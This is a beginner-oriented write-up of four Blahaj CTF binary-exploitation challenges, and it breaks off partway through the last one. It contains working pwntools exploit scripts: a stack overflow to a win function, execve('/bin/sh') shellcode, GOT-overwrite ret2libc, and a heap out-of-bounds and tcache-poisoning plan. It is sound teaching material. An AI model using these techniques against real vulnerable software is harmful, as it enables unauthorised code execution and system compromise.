Blahaj CTF Pwn Writeups
Table of Contents
Blahaj CTF was an entry-level CTF that was targeted at secondary school and JC students in Singapore. Having not touched pwn for awhile, the pwn challenges were fun, refreshing and even challenging. There were a total of 4 pwn challenges, 3 simpler ones and 1 challenging one. The writeups for the 4 challenges are below and in increasing difficulty.
This writeup aims to be dummy-friendly, and a good guide for absolute beginners to learn binary exploitation.
CARS
I’ve been playing around with this reporting system for “cyber affairs”, generating ticket after ticket in hopes of breaking it. I have a feeling that there’s a way to access the admin panel…
Analyzing the program
In order to exploit the program, we need to be able to understand the program and identify the vulnerability.
Black-Box analysis
We can first run checksec
and run the program to get a feel for the program’s functionality.
➜ checksec ./cars # we will worry about this later!
[*] './cars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
➜ ./cars
Welcome to the Cyber Affairs Reporting System (CARS)
Report number: #94190627913872
Please input your student ID: 123
Please describe the incident: asd
The matter has been recorded and will be investigated. Thank you.
As we can see, the program is straightforward and takes in two input, let’s move on to look at the source code to see what is going on behind the scenes.
Looking at the source code
unsigned long report_number = 0;
int main()
{
setup();
srand(0xb1adee); // this random seed is sooo drain
report_number = rand();
printf("Welcome to the Cyber Affairs Reporting System (CARS)\n");
printf("Report number: #%lu\n", &report_number);
file_report();
return 0;
}
As we can see, there is a global variable report_number
.
Global variables as such are usually stored in the bss data segment at a fixed offset within in a program’s memory space.
In contrast, local variables are saved onto the stack, which is always random located due to ASLR (address space layout randomization).
This report_number
seems to be printed via the printf function, albeit in a weird way.
Instead of printing the value report_number
, the program prints &report_number
which will print the address in memory where report_number
resides.
It then calls the file_report()
function.
void file_report()
{
char input[28];
printf("Please input your student ID: ");
fgets(input, 28, stdin);
printf("Please describe the incident: ");
fgets(input, 256, stdin);
printf("The matter has been recorded and will be investigated. Thank you.\n");
}
In this function, the program takes two input via the fgets()
function and into the input
local variable.
The input
variable is defined to be a character variable of size 28. However, the second fgets()
function attempts to read 256 characters into input
. This results in a buffer overflow!
Now that we have found the vulnerability, we can move on to planning our exploit.
Understanding how and what to Exploit
Given a buffer overflow vulnerability, what can we do? Let’s first gain a deeper understanding into where our input is going, and what it will overflow into.
Overflow what?
top of stack
┌───────────────────────┐
│ │ input
│ input[28] │ flows
│ │ downwards ↓
├───────────────────────┤
│ │
│ saved rbp │
│ │
├───────────────────────┤
│ │
│ return address │
│ │
└───────────────────────┘
bottom of stack
In order to understand this, we have to understand a few things.
- Every function has it’s own allocated stack space in memory.
- When function A calls function B, it will need to somehow keep track and remember where to resume execution when function B is returning to function A.
- as such, it saves the instruction pointer on the stack, which is the return address (or the address that function B will return to after it is done)
- and it saves the stack pointer on the stack, which points to the stack space of the caller function (function A)
- this allows function B to return to function A gracefully
tldr, the important part to understand is that the return address shown in the stack above is the address of the instruction that the program will return to after it is done with the file_report
function. (which is in main function, since main function called file_report)
This, we are able to overflow into the return address, to get the program to return to anywhere that we want.
Overflow how?
If we look at the source code, we can spot one very interesting function:
void admin()
{
// how did you even get here?
FILE *fptr = fopen("flag", "r");
if (fptr == NULL)
{
printf("Cannot open flag\n");
exit(0);
}
char c;
while ((c = fgetc(fptr)) != EOF)
{
printf("%c", c);
}
fclose(fptr);
}
This function seems like our goal, which will read and give us the flag.
If we are able to overwrite our return address with the address of this function, we will be able to call this function and get the flag.
However, do we know the address of the admin()
function?
If we look at the checksec
output above, we note that the program has the Positional Independent Executable (PIE). This essentially means that the program is loaded at a random address everytime that it is executed, which means that we will not be able to determine the admin()
function without an address leak.
Thankfully, from the main()
function, we saw that the program printed us the address of the report_number
global variable. Let’s see how we can get this to work.
➜ nm ./cars
# ... truncated ...
000000000000128e T admin
0000000000004090 B report_number
# ... truncated ...
In the output shown above, we have the offset of the admin()
function and the report_number
variable from the base of where the executable is loaded in memory.
Given the address of report_number
, we can do the following:
ADDRESS_OF_ADMIN = REPORT_NUMBER_ADDRESS - 0x4090 + 0x128E
Exploit
In order to find the padding it takes to overwrite the return address, we can use a cyclic/de-brujin sequence to find our return address.
Find our padding
➜ cyclic -n8 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
➜ gdb cars
pwndbg> run
Starting program: ./cars
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the Cyber Affairs Reporting System (CARS)
Report number: #93824992247952
Please input your student ID: a
Please describe the incident: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
The matter has been recorded and will be investigated. Thank you.
Program received signal SIGSEGV, Segmentation fault.
0x000055555555528d in file_report () at pie_rop.c:22
... truncated ...
► 0x55555555528d <file_report+113> ret <0x6161616161616166>
pwndbg> cyclic -n8 -l *(long*)rsp
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
Final Solution
Let’s try to piece together our exploit in a single pwntools script.
from pwn import *
# run the program
p = process("./cars")
p.recvuntil(b"Report number: #")
REPORT_NUMBER_ADDRESS = int(p.recvline())
ADDRESS_OF_ADMIN = REPORT_NUMBER_ADDRESS - 0x4090 + 0x128E
# Please input your Student ID:
p.sendline(b"id")
# Please describe the incident: (vulnerable!!)
payload = b"A"*40 # pad our return address
payload += p64(ADDRESS_OF_ADMIN)
p.sendline(payload)
p.interactive()
If we try to run this script,
[+] Starting local process './cars': pid 1543708
[*] Switching to interactive mode
Please input your student ID: Please describe the incident: The matter has been recorded and will be investigated. Thank you.
[*] Got EOF while reading in interactive
[*] Process './cars' stopped with exit code -11 (SIGSEGV) (pid 1543708)
[*] Got EOF while sending in interactive
it crashes with a SIGSEGV signal.
A small hiccup: MOVAPS issue
We can add a line to debug our script.
from pwn import *
# run the program
p = process("./cars")
gdb.attach(p) # ATTACH OUR DEBUGGER
p.recvuntil(b"Report number: #")
REPORT_NUMBER_ADDRESS = int(p.recvline())
ADDRESS_OF_ADMIN = REPORT_NUMBER_ADDRESS - 0x4090 + 0x128E
# Please input your Student ID:
p.sendline(b"id")
# Please describe the incident: (vulnerable!!)
payload = b"A"*40 # pad our return address
payload += p64(ADDRESS_OF_ADMIN)
p.sendline(payload)
p.interactive()
In our GDB, we can do continue
to continue the program until it crashes.
pwndbg> continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[ REGISTERS / show-flags off / show-compact-regs off ]
*RSP 0x7ffd7586b648 ◂— 0x0
[ DISASM / x86-64 / set emulate on ]
► 0x7f7cb895b4c0 <_int_malloc+2832> movaps xmmword ptr [rsp + 0x10], xmm1
As we can see, it crashes on a movaps
instruction. If we look at the movaps
instruction documentation, it mentions
When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
In this context, the operand is rsp + 0x10
. This means that our rsp
register has to be 16-byte aligned, but it is not (0x7ffd7586b648 % 0x10 != 0x0
) – resulting in the crash.
How can we fix this? We can simply add a single ret
instruction to increment our RSP
by 0x8 before we call admin()
.
➜ ROPgadget --binary cars | grep " : ret$"
0x000000000000101a : ret
Let’s update our solve script.
from pwn import *
# run the program
p = process("./cars")
p.recvuntil(b"Report number: #")
REPORT_NUMBER_ADDRESS = int(p.recvline())
ELF_BASE = REPORT_NUMBER_ADDRESS - 0x4090
ADDRESS_OF_ADMIN = ELF_BASE + 0x128E
RET_GADGET = ELF_BASE + 0x101A
# Please input your Student ID:
p.sendline(b"id")
# Please describe the incident: (vulnerable!!)
payload = b"A"*40 # pad our return address
payload += p64(RET_GADGET)
payload += p64(ADDRESS_OF_ADMIN)
p.sendline(payload)
p.interactive()
➜ python3 solve.py
[+] Starting local process './cars': pid 1547936
[*] Switching to interactive mode
Please input your student ID: Please describe the incident: The matter has been recorded and will be investigated. Thank you.
blahaj{r0pp1n6_w17h_p13}
[*] Got EOF while reading in interactive
warpdrive
with the latest and greatest in blahajtech, you can now warp anywhere on the stack!
Attachments: warp
Analyzing the program
➜ checksec warp
[*] './warp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
We are not given with the source code. This means that we will have to throw it into a decompiler like IDA or ghidra.
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (*ptr)(void); // [rsp+8h] [rbp-38h] BYREF
char input[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 canary; // [rsp+38h] [rbp-8h]
canary = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
printf("CURRENT POSITION: %p\nWARP TO:", &ptr);
fgets(input, 40, stdin);
__isoc99_sscanf(input, "%p", &ptr);
ptr();
return 0;
}
As we can see, the program has No eXecute (NX) protections disabled, and has Read-Write-eXecute (RWX) segments.
This means that the stack is executable, which allows us to potentially put assembly code on the stack to be executed.
As we can see, the program prints us a stack address, takes in an address as an input and execute code at our inputted address.
Solving the challenge
Trivially, with the NX protections disabled, we can simply put shellcode (assembly code that gives us a shell) on the stack, and then jump to it. We can do this using a sys_execve syscall.
Refer to this syscall table, to see the arguments that we have to populate for a sys_execve syscall.
- SYS_EXECVE
- RAX: 0x3b
- RDI: char* filename
- RSI: char* argv[]
- RDX: char* envp[]
Ultimately, we want to write assembly to do the following sys_execve(0x3b, "/bin/sh", 0, 0)
# put our /bin/sh string on the stack
mov rbx, 0x68732f6e69622f
push rbx
# move /bin/sh pointer to RDI
mov rdi, rsp
# populate argv and envp arguments
xor esi, esi # RSI = 0
xor edx, edx # RDX = 0
# make our execve syscall
mov ax, 0x3b
syscall
Finally, we can put all this in a pwntools script and solve the challenge.
from pwn import *
context.arch = "amd64"
p = process("./warp")
sc = asm("""
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor esi, esi
xor edx, edx
mov ax, 0x3b
syscall
""")
p.recvuntil(b"POSITION: ")
stack_leak = int(p.recvline(), 16)
p.sendline(hex(stack_leak + 8 + 15).encode() + b" " + sc) # 8+15 is padding to the shellcode
p.interactive()
➜ python3 solve.py
[+] Starting local process './warp': pid 1555153
[*] Switching to interactive mode
WARP TO:
$ cat flag.txt
blahaj{a_w4Rp_Bl1P_&_A_jUmp}
Notepad
What kinda lousy notepad is this? Gonna go back to neovim…
Analyzing the program
➜ checksec notepad
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
➜ ./notepad
Enter your note:
hi
Received
thanksbb
➜ ./notepad
Enter your note:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Received
Segmentation fault (core dumped)
If we try running the program, we see that it takes a single input and ends. If we try passing a long string in the input, it crashes. This tells us that this program might once again be vulnerable to a buffer overflow attack.
Let’s have a deeper look at the program by throwing it into IDA.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char input[16]; // [rsp+0h] [rbp-30h] BYREF
int size; // [rsp+10h] [rbp-20h]
char *buf; // [rsp+18h] [rbp-18h]
void *dest; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
setup();
size = 0x10;
buf = (char *)malloc(0x100uLL);
strcpy(buf, "thanksbb");
dest = input;
puts("Enter your note: ");
gets(input);
puts("Received");
memcpy(dest, input, size);
puts(buf);
exit(0);
}
This program is straightforward. Let’s summarize it below
- Allocate a buffer on the heap of size 0x100.
- Write the string “thanksbb” into the buffer
- Read in an input using the
gets()
function - Print out the buffer, and then exit.
Vulnerability Analysis
If we remember earlier on, the program crashed when passing in a big string. Why is that so?
If we look at the man page for the gets() function, we see the following:
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
This means that the gets()
function will read as many characters as you want, allowing for you to easily overflow the input buffer of size 16. This gives us a buffer overflow.
Exploiting the Program: ret2libc
With our overflow, we can do a few things
- We are able to overwrite
dest
andsize
to write anywhere that we want. - We are able to overwrite
buf
pointer, allowing us to leak any memory address.
Since there is no obvious win function, we will have to do employ a technique such as ret2libc.
The first part of our ret2libc requires us to leak a libc address, which is randomized due to ASLR. How can we do this?
Let’s explore this concept known as the Global Offset Table (GOT).
The Global Offset Table
When a binary attempts to call a library function (i.e. printf), it will call printf in the procedure linkage table (PLT), which basically contains some instructions that will jump to the address contained inside the printf entry in the GOT. (refer to above image).
What this means for us is that the GOT entries contains the corresponding addresses to the LIBC functions after the first call (after it has been resolved by the dlruntime resolver). Furthermore if we can corrupt and of the GOT entries, we can redirect a call to exit()
for example, to any other functions that we want.
Back to leaking
Since there is no Positional Independent Executable (PIE) protections enabled, the memory address that the ELF is loaded at is always constant, and as a result the GOT is also always at a constant address.
This means that if we overwrite the buf pointer on the stack to a GOT entry, when the program calls puts(buf)
, it will leak the contents of the GOT entry. Furthermore, we can also overwrite the GOT entry for exit()
to the main()
function, we can also prevent the program from exiting and loop back to main instead for our subsequent payloads.
In summary, this is our first step of our exploit
- Overwrite
dest
to GOT entry forexit
, and overwritesize
be 8. We will writemain
address inexit
GOT entry. - Overwrite
buf
to GOT entry forputs
, leaking the libc address ofputs
.
Stage 1 Exploit
from pwn import *
context.binary = elf = ELF("./notepad")
libc = ELF("./libc.so.6")
p = process('./notepad')
p.sendline(fit({
0: elf.sym.main, # what we want to write into exit GOT
16: 8, # size
24: elf.got.puts, # buf
32: elf.got.exit # dest
}))
p.recvuntil(b"Received\n")
leak = unpack(p.recvline().strip(), "all")
libc.address = leak - libc.sym.puts
log.info(f"puts @ {hex(leak)}")
log.info(f"libc base @ {hex(libc.address)}")
p.interactive()
➜ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] './libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './notepad': pid 1570328
[*] puts @ 0x7f402b1c1e50
[*] libc base @ 0x7f402b141000
[*] Switching to interactive mode
Enter your note:
$
Success!
Getting a shell
Now that we have our libc address, we want to call system("/bin/sh")
. In order to do this, we need both the address of the /bin/sh
string and the system
function.
We can overwrite the puts
GOT entry to point to system
, and then overwrite buf
to be a pointer to /bin/sh
, resulting in the program calling system("/bin/sh")
.
from pwn import *
context.binary = elf = ELF("./notepad")
libc = ELF("./libc.so.6")
p = process('./notepad')
p.sendline(fit({
0: elf.sym.main, # what we want to write into exit GOT
16: 8, # size of write
24: elf.got.puts, # argument to puts
32: elf.got.exit # we will write into here
}))
p.recvuntil(b"Received\n")
leak = unpack(p.recvline().strip(), "all")
libc.address = leak - libc.sym.puts
log.info(f"puts @ {hex(leak)}")
log.info(f"libc base @ {hex(libc.address)}")
binsh_ptr = next(libc.search(b"/bin/sh"))
p.sendline(fit({
0: libc.sym.system, # what we want to write into exit GOT
16: 8, # size of write
24: binsh_ptr, # argument to puts
32: elf.got.puts # we will write into here
}))
p.interactive()
➜ python3 solve.py
[*] './notepad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] './libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './notepad': pid 1572271
[*] puts @ 0x7f2b72cb2e50
[*] libc base @ 0x7f2b72c32000
[*] Switching to interactive mode
Enter your note:
Received
$ cat flag.txt
blahaj{4rb_r3ad_4rb_wr1te_and_rc3_in_on3??}
FINALE: Christmas
This was my favourite challenge in the CTF.
All I want for Christmas is /bin/sh
Analysis
Brief Overview
This program is rather straightforward, everything is found in a single function. I’ve cleaned up the decompiled code as shown below
int main()
{
int64_t choice;
int64_t idx;
unsigned __int64_t idxa;
unsigned __int64_t idxb;
int64_t size;
char *wishlist[10];
char buf[128];
memset(wishlist, 0, sizeof(wishlist));
setup();
print_banner();
while (1) {
print_menu();
fgets(buf, 128, stdin);
choice = atoi(buf);
switch (choice) {
case 1: // add wish
puts("There's just one thing I need");
printf("> ");
fgets(buf, 128, stdin);
idx = atoi(buf);
if ( idx >= 10 )
printf("Don't care about the presents underneath %ld and %ld\n", 0LL, 9LL);
puts("I won't ask for much this Christmas");
printf("> ");
fgets(buf, 128, stdin);
size = atoi(buf);
if ( size >= 0 ) {
wishlist[idx] = malloc(size);
puts("All I want for Christmas is");
printf("> ");
fgets(wishlist[idx], size, stdin);
}
else {
puts("Invalid size");
}
break;
case 2: // remove wish
puts("I won't make a list");
printf("> ");
fgets(buf, 128, stdin);
idxa = atoi(buf);
if ( idxa >= 0xA )
printf("Don't care about the presents underneath %ld and %ld\n", 0LL, 9LL);
free(wishlist[idxa]);
wishlist[idxa] = 0LL;
break;
case 3: // view wish
puts("Make my wish come true");
printf("> ");
fgets(buf, 128, stdin);
idxb = atoi(buf);
if ( idxb >= 0xA ) {
printf("Don't care about the presents underneath %ld and %ld\n", 0LL, 9LL);
}
else if ( wishlist[idxb] ) {
puts("All I want for Christmas is");
puts(wishlist[idxb]);
}
else {
puts("Santa, won't you bring me the one I really need?");
}
break;
case 4: // exit
bye();
exit(0);
default:
continue;
}
}
}
➜ ./santa
all i want for christmas is you!
1. Add wish
2. Remove wish
3. View wish
4. Exit
>
As we can see, this program serves a simple heap menu. Our options essentially are
- malloc chunk with size and contents of choice
- free-ing heap chunk of choice
- reading memory in heap chunk of choice
Adding a Wish (malloc)
Let’s take a closer look at the code that adds the wish.
This part of the code takes in 3 inputs. The first input reads in an integer that is used as the index of the program, and checked that it is no more than 10.
int64_t idx;
fgets(buf, 128, stdin);
idx = atoi(buf);
if ( idx >= 10 )
printf("Don't care about the presents underneath %ld and %ld\n", 0LL, 9LL);
This unseemingly small snippet of code actually contains a vulnerability. It only checks the upper bounds of the integer input (no more than 10), but it does not check for a lower bound (more than 0?).
Let’s keep looking at the subsequent code.
fgets(buf, 128, stdin);
size = atoi(buf);
if ( size >= 0 ) {
wishlist[idx] = malloc(size);
puts("All I want for Christmas is");
printf("> ");
fgets(wishlist[idx], size, stdin);
}
Our second input reads in an integer that is used as the size of the allocated buffer. The allocated buffer is saved at an index within the wishlist array denoted by idx
. Finally, our last input is read into the allocated buffer.
Due to the poor index checking for the idx
variable, we can access negative indexes of the wishlist
array – resulting in a OOB access of the array.
Removing a Wish (free)
Let’s keep looking at the other parts of the code to see if they are also vulnerable. Let’s now look at the switch case responsible for removing a wish.
unsigned __int64_t idxa;
fgets(buf, 128, stdin);
idxa = atoi(buf);
if ( idxa >= 0xA )
printf("Don't care about the presents underneath %ld and %ld\n", 0LL, 9LL);
free(wishlist[idxa]);
wishlist[idxa] = 0LL;
In this piece of code, the program once again reads in an integer that is used as an index to the freelist array. It only checks the upper bounds of the idxa
variable. Does that mean that it is vulnerable to Out of Bound (OOB) access of the array once again?
If we look at the defined type of the idxa
variable, it is defined as an unsigned __int64_t. The word unsigned means that the variable can only contain positive numbers. If we try to do something like 0 - 1
on an unsigned integer, it will simply loop back to a large positive number and fail the check anyways.
Not only is this code not vulnerable, it also follows good code practices, NULL-ing the heap pointer after free-ing it.
View a Wish
The final piece of code which views the wish is similar to this, and is not vulnerable. It simply prints the content in the allocated buffer.
Hidden in Plainsight
We have identified a single vulnerable, which is that we are able to write at negative indexes of the wishlist array. The question now is: what will we overwrite by writing to negative indexes? is it useful for us?
We can view the stack frame of the main function in IDA by double clicking on the local variable here
STACK FRAME OF MAIN FUNCTION RELATIVE TO RBP
-0000000000000100 limit dq ?
-00000000000000F8 choice dq ?
-00000000000000F0 idx dq ?
-00000000000000E8 size dq ?
-00000000000000E0 wishlist dq 10 dup(?)
-0000000000000090 buf db 128 dup(?)
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?) // saved RBP
+0000000000000008 r db 8 dup(?) // return address
This shows us the offsets where the local variables are saved relative to RBP
on the stack. As we can see, there are 4 variables that are saved at a negative address relative to the wishlist
array.
-0000000000000100 limit dq ?
-00000000000000F8 choice dq ?
-00000000000000F0 idx dq ?
-00000000000000E8 size dq ?
We have seen the choice
idx
size
variables before, but what is limit
? We can click on the word limit
and press the X key to view cross references in IDA. We will look at one occurrence of the limit
variable in assembly.
.text:0000000000001424 mov [rbp+limit], 0Ah
...
.text:000000000000152A cmp rax, [rbp+limit]
.text:0000000000001531 jl short loc_155F
The assembly above corresponds to
if ( idxa >= 0xA )
in our decompilation. What happened? Is our pseudocode a lie? The assembly shows that our pseudocode should look like
int limit = 10;
// ... truncated ...
if ( idxa >= limit )
but our pseudocode simply does not show the limit
variable. This actually happens because IDA has identified our limit
variable to be a constant value of 10 and thus optimizes away all occurences of limit
and replace it with the corresponding constant integer.
Exploit Strategy
Now that we have identified that we can overwrite choice
, idx
, size
and limit
, how can it help us? We can abuse this negative OOB write to give us more flexibility in our exploit
- By overwriting limit, we are able to make our limit a huge number. This will help us extend our OOB read from negative indexes, to even writing to large positive indexes.
- Furthermore, this will give us an read-anywhere/arbitrary read primitive, which I will explain soon
- By overwriting size, we are able to cause a heap overflow when adding a wish as we would be able to input an arbitrarily large sized integer.
Arbitrary Read
Assume that we have already increased our limit
to a huge value. We will be able to view wishes (print the contents of a pointer) at large indexes beyond the wishlist array. This will be crucial in bypassing both Positional Independent Executable (PIE) and Address Space Layout Randomization (ASLR) protections. In order to see what we can leak, we will look at the stack of the program in GDB.
pwndbg> tele 50
/* start of main function's stack frame */
00:0000│ rsp 0x7fffffffde30 ◂— 0xa /* limit */
01:0008│ 0x7fffffffde38 ◂— 0x1 /* choice */
02:0010│ 0x7fffffffde40 ◂— 0x2 /* idx */
03:0018│ 0x7fffffffde48 ◂— 0x20 /* size */
/* start of wishlist */
04:0020│ 0x7fffffffde50 —▸ 0x5555555592a0 ◂— 'chunk 0\n'
05:0028│ 0x7fffffffde58 —▸ 0x5555555592d0 ◂— 'chunk 1\n'
06:0030│ 0x7fffffffde60 ◂— 0x0
... ↓ 7 skipped
/* end of wishlist */
/* start of buf */
0e:0070│ rax rdi 0x7fffffffdea0 ◂— 0xa32 /* '2\n' */
0f:0078│ 0x7fffffffdea8 ◂— 0x0
... ↓ 2 skipped
12:0090│ 0x7fffffffdec0 ◂— 0x1
13:0098│ 0x7fffffffdec8 ◂— 0x1
14:00a0│ 0x7fffffffded0 —▸ 0x555555554040 ◂— 0x400000006
15:00a8│ 0x7fffffffded8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
16:00b0│ 0x7fffffffdee0 ◂— 0x6f0
17:00b8│ 0x7fffffffdee8 —▸ 0x7fffffffe2e9 ◂— 0x3d04659de82d9f62
18:00c0│ 0x7fffffffdef0 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
19:00c8│ 0x7fffffffdef8 ◂— 0x10101000000
1a:00d0│ 0x7fffffffdf00 ◂— 0x2
1b:00d8│ 0x7fffffffdf08 ◂— 0x78bfbff
1c:00e0│ 0x7fffffffdf10 —▸ 0x7fffffffe2f9 ◂— 0x34365f363878 /* 'x86_64' */
1d:00e8│ 0x7fffffffdf18 ◂— 0x64 /* 'd' */
1e:00f0│ 0x7fffffffdf20 ◂— 0x1000
1f:00f8│ 0x7fffffffdf28 ◂— 0x3d04659de82d9f00
20:0100│ rbp 0x7fffffffdf30 ◂— 0x1
21:0108│ 0x7fffffffdf38 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov edi, eax
/* end of main function's stack frame */
22:0110│ 0x7fffffffdf40 ◂— 0x0
23:0118│ 0x7fffffffdf48 —▸ 0x555555555398 (main) ◂— endbr64
24:0120│ 0x7fffffffdf50 ◂— 0x1ffffe030
25:0128│ 0x7fffffffdf58 —▸ 0x7fffffffe048 —▸ 0x7fffffffe308 ◂— '/home/elmo/caprinux-github-io/content/en/posts/ctfs/2023/blahaj-ctf/attachments/pwn/christmas/santa'
26:0130│ 0x7fffffffdf60 ◂— 0x0
27:0138│ 0x7fffffffdf68 ◂— 0xeaa1cb2c566b5502
28:0140│ 0x7fffffffdf70 —▸ 0x7fffffffe048 —▸ 0x7fffffffe308 ◂— '/home/elmo/caprinux-github-io/content/en/posts/ctfs/2023/blahaj-ctf/attachments/pwn/christmas/santa'
29:0148│ 0x7fffffffdf78 —▸ 0x555555555398 (main) ◂— endbr64
2a:0150│ 0x7fffffffdf80 —▸ 0x555555557d80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555200 (__do_global_dtors_aux) ◂— endbr64
2b:0158│ 0x7fffffffdf88 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
2c:0160│ 0x7fffffffdf90 ◂— 0x155e34d3e8e95502
2d:0168│ 0x7fffffffdf98 ◂— 0x155e24992ce15502
2e:0170│ 0x7fffffffdfa0 ◂— 0x7fff00000000
2f:0178│ 0x7fffffffdfa8 ◂— 0x0
pwndbg> vmmap 0x7ffff7ffe2e0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
► 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +0x12e0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
One of the most important things that we want to leak is the LIBC address, as it will contain the necessary functions that we need in order to pop a shell on remote. At offset 2b:0158
on the stack, we can see that there is a _rtld_global
pointer that contains an address within the ld.so
memory space as seen above. How is an address within ld.so
going to help us? If we actually look at the memory mapping diagram below
┌────────────────────┐
│ │
│ santa │
│ binary │
│ │
├────────────────────┤
│ │
│ │
├────────────────────┤
│ │
│ │
│ HEAP │
│ │
├────────────────────┤
│ │
│ │
├────────────────────┤
│ │
│ │
│ LIBC.SO │
│ │
├────────────────────┤
│ │
│ │
│ LD.SO │
│ │
├────────────────────┤
│ │
│ │
│ │
├────────────────────┤
│ │
│ │
│ STACK │
│ │
│ │
└────────────────────┘
We can see the different parts that make up a program’s memory. Despite the ASLR, the libc and ld are directly next to each other in memory and thus there will be a fixed offset between LD and LIBC in memory. By leaking a LD pointer, we can calculate the offset to get our libc base address and move on to later parts of the exploit.
The offset of wishlist as shown above is rsp+0x20
and the ld pointer is at rsp+0x158
. Thus, we can view a wish at the index of (0x158-0x28)/0x8 = 38
to get our libc address leak. Now that we know how to leak the LIBC, can we go one step further to get an arbitrary read to read at any address that we want?
Remember that in order to read at an address, that same address has to be on the stack at a positive index from the wishlist array. If we look at the stack, right after the wishlist array lies the buf
array which contains our input when the program takes in our choice. This means that we can place addresses that we want to read from into buf
, and then use a large positive index to treat the address as a wish and read from it.
With this, we have an extremely powerful arbitrary read primitive which allows us to read anywhere that we want in the memory as long as we know the address of the values that we want to read.
Arbitrary Write: Heap Overflow
Although the OOB access on the wishlist array is sufficient to solve the challenge (in the intended way), to make our lives even easier and for the sake of learning, let’s explore how a heap overflow is of any use to us.
Let’s look at the state of the heap when we add 3 wishes to the wishlist array. This is straightforward, I have allocated 3 chunks on the heap and each of the chunk has a size of 0x30.
Now, we will free these chunks and see what happens. As we can see from the image below, the 3 chunks has been placed in the tcachebin, and is stored in a linked list where each freed chunk contains an encoded pointer to the next freed chunk.
We can also note that there is a 8-byte tcache key that is circled in red. This key acts like a stack canary to prevent heap overflow or use after free – the program will check if the key has been modified and terminate.
The tcachebin is simply a series of linked lists of heap chunks of the same size that has been free-ed. The main purpose is for efficiency, to allow the allocator to quickly return these chunks when required by the program instead of releasing it back to the top chunk.
The linked list pointers are encoded with a new safety mechanism known as tcache safe-linking that is introduced in recent version of the GLIBC. Essentially, the linked list pointer is encoded by XORing the pointer with the address where the pointer resides in, shifted to the right by 12 bits.
ENCODED_POINTER = LINKED_LIST_POINTER ^ (ADDRESS_OF_POINTER » 12)
This is not a big issue to us as we can easily encode/decode the pointer as long as we are able to leak a heap address.
If we are able to safely overwrite the linked list pointer on the freed chunk, we might be able to trick the dynamic allocator to return us a heap chunk to anywhere that we like. This will give us an arbitrary write primitive.
What next?
Now that we know how to get both our arbitrary read and arbitrary write primitives, what and where can we write to? There are a few easy and known methods that we can use to get a shell
- ROP on the stack
- leak a stack address
- arbitrary write onto the stack to write a rop chain that will be executed on return
- will not work here, since the program NEVER returns
- Overwriting exit_funcs
- leak/overwrite
pointer_guard
